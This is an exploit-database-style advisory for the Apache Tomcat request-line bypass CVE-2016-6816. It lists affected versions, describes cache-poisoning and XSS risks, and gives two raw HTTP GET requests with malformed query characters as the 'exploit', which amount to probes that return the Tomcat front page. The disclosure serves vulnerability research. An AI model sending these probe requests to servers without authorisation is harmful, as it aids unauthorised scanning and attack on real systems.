# Exploit Title:Apache Tomcat CVE-2016-6816 Security Bypass Vulnerability # Date: 4th March 2017 # Exploit Author: justpentest # Vendor Homepage: tomcat.apache.org # Version: Apache Tomcat 9.0.0.M1 through 9.0.0.M11, 8.5.0 through 8.5.6, 8.0.0.RC1 through 8.0.38, 7.0.0 through 7.0.72 and 6.0.0 through 6.0.47 # Contact: transform2secure@gmail.com Source: http://www.securityfocus.com/bid/94461/info 1) Description: Apache Tomcat is prone to a security-bypass vulnerability. An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions. This may lead to further attacks. Apache Tomcat 9.0.0.M1 through 9.0.0.M11, 8.5.0 through 8.5.6, 8.0.0.RC1 through 8.0.38, 7.0.0 through 7.0.72 and 6.0.0 through 6.0.47 are vulnerable. This could be exploited, in conjunction with a proxy that also permitted the invalid characters but with a different interpretation, to inject data into the HTTP response. By manipulating the HTTP response the attacker could poison a web-cache, perform an XSS attack and/or obtain sensitive information from requests other then their own. http://www.securityfocus.com/bid/94461/discuss 2) Exploit: GET /?{{%25}}cake\=1 HTTP/1.1 Host: justpentest.com Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Cookie: NSC_MSN-IBNQ-VX-mcwtfswfs=ffffffff091c1daaaa525d5f4f58455e445a4a488888 OR GET /?a'a%5c'b%22c%3e%3f%3e%25%7d%7d%25%25%3ec%3c[[%3f$%7b%7b%25%7d%7dcake%5c=1 HTTP/1.1 Response will be Apache tomcat front page something like https://en.wikipedia.org/wiki/File:Apache-tomcat-frontpage-epiphany-browser.jpg 3) Refrences: https://nvd.nist.gov/vuln/detail/CVE-2016-6816 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6816 4) Solution: As usual update ;)